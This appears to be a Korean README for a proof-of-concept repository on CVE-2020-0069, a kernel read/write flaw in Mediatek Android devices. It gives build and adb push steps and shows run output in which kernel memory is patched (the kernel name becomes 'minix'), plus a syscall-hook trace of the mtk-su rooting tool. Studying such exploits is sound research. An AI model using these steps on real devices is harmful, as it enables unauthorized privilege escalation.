
CVE-2020-0069에 대한 개념 증명 익스플로잇으로, Mediatek Android 기기에서 커널 메모리 읽기/쓰기 및 syscall 후킹을 통해 권한 상승을 가능하게 합니다.
이 저장소는 Xiaomi Redmi 6a (Mediatek SoC MT6762M 탑재)에서 CVE-2020-0069를 조사하는 데 사용한 자료를 포함하고 있습니다.
세 가지 프로그램이 있습니다:
kernel_rw.c — 커널 메모리 읽기/쓰기를 가능하게 하는 C 프로그램poc.sh — 셸 스크립트syscall_hook.c — 프로그램 mtk-su (버전 19에서 테스트)를 추적하는 데 사용할 수 있는 C 라이브러리바이너리를 빌드하려면:
$ ndk-build
그런 다음 기기로 푸시합니다:
$ adb push poc.sh /data/local/tmp
$ adb push libs/armeabi-v7a/kernel_rw /data/local/tmp
$ adb push libs/armeabi-v7a/libsyscall_hook.so /data/local/tmp
$ uname -a
Linux localhost 4.9.77+ #1 SMP PREEMPT Mon Jan 21 18:32:19 WIB 2019 armv7l
$ sh poc.sh
[+] Found Linux string at 0x4180bc00
[+] Found Linux string at 0x4180bea0
[+] Write the patched value
$ uname -a
minix 4.9.77+ #1 SMP PREEMPT Mon Jan 21 18:32:19 WIB 2019 armv7l
$ mkdir mtk-su
$ LD_PRELOAD=./syscall_hook.so ./mtk-su
alloc failed
alloc count=400 startPA=0x53df4000
uncatched ioctl 40e07803
exec command (num 0) ( blockSize=8040, readAddress.count=0 ) dumped into cmd-0
exec command (num 1) ( blockSize=3e0, readAddress.count=1e ) dumped into cmd-1
exec command (num 2) ( blockSize=3e0, readAddress.count=1e ) dumped into cmd-2
[...]
$ cat mtksu/cmd-1
WFE to_wait=1, wait=1, to_update=1, update=0, event=1da
MOVE 40a68000 into reg 17
READ address reg 17, data reg b
MOVE startPA+0 into reg 17
WRITE address reg 17, data reg b
[...]